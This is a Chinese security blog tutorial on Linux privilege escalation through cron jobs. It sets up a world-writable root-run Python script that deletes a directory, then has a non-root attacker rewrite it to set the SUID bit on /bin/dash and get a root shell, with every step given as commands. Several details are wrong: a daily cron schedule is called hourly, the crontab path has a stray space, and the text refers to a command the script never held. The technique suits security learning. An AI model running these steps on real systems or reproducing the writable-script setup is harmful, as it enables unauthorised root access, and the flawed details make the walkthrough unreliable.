Cronjobs Linux提权

  • A+
所属分类:网络安全文章

Cronjobs Linux提权

cron jobs

定时任务(cron job)被用于安排那些需要被周期性执行的命令。利用它,你可以配置某些命令或者脚本,让它们在某个设定的时间内周期性地运行。cron 是 Linux 或者类 Unix 系统中最为实用的工具之一。cron 服务(守护进程)在系统后台运行,并且会持续地检查 /etc/crontab 文件和 /etc/cron.*/ 目录。它同样也会检查 /var/spool/cron/ 目录。

比如,在下面的crontab 命令中,就可以每个1个小时自动打印apach错误日志。

  1. 1 0 * * * printf "" > /var/log/apache/error_log

Crontab文件覆写

创建一个定时任务

目标:创建一个运行python脚本来擦除特定目录的所有数据

假设目录cleanup就是要擦除的目录,我们希望每隔2分钟就清除1次目录。首先,向该目录中创建一些文件:

  1. mkdir cleanup
  2. cd cleanup
  3. echo "hello freinds" > 1.txt
  4. echo "ALL files will be deleted in 2 mints" > 2.txt
  5. echo "" > 1.php
  6. echo "" > 2.php
  7. ls

下面我们写一个python程序来删除 /home/cleanup的内容。

  1. cd /tmp
  2. nano cleanup.py
  3. #!/usr/bin/env python
  4. import os
  5. import sys
  6. try:
  7.    os.system('rm -r /home/cleanup/* ')
  8. except:
  9.     sys.exit()

chmod 777 cleanup.py

编辑crontab添加定时任务,每隔2分钟运行一次cleanup.py脚本。

  1. nano /etc/crontab
  2. */2 *   * * *   root    /tmp /cleanup.py

利用

开启攻击机器,入侵目标系统,然后进行权限提升阶段。假设我通过SSH成功登录进受害者的机器,并可以访问非root用户终端。然后执行下面的命令:

  1. cat /etc/crontab
  2. ls  -al /tmp/cleanup.py
  3. cat /tmp/cleanup.py

从上面的步骤,我们可以看出crontab 每隔2分钟执行一次python脚本。

下面想办法去利用它:

其实有许多方法可以获取root权限,我们采用开启/bin/dash SUID位的方法。首先,打开文件,比如nano cleanup.py,用下面的命令替换原来命令中的“rm -r /tmp/*”:

  1. os.system('chmod u+s /bin/dash')

2分钟后,就设置了/bin/dash的SUID权限,运行完成后就获取了root权限。

  1. /bin/dash
  2. id
  3. whoami

提权任务完成!

CE安全网

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: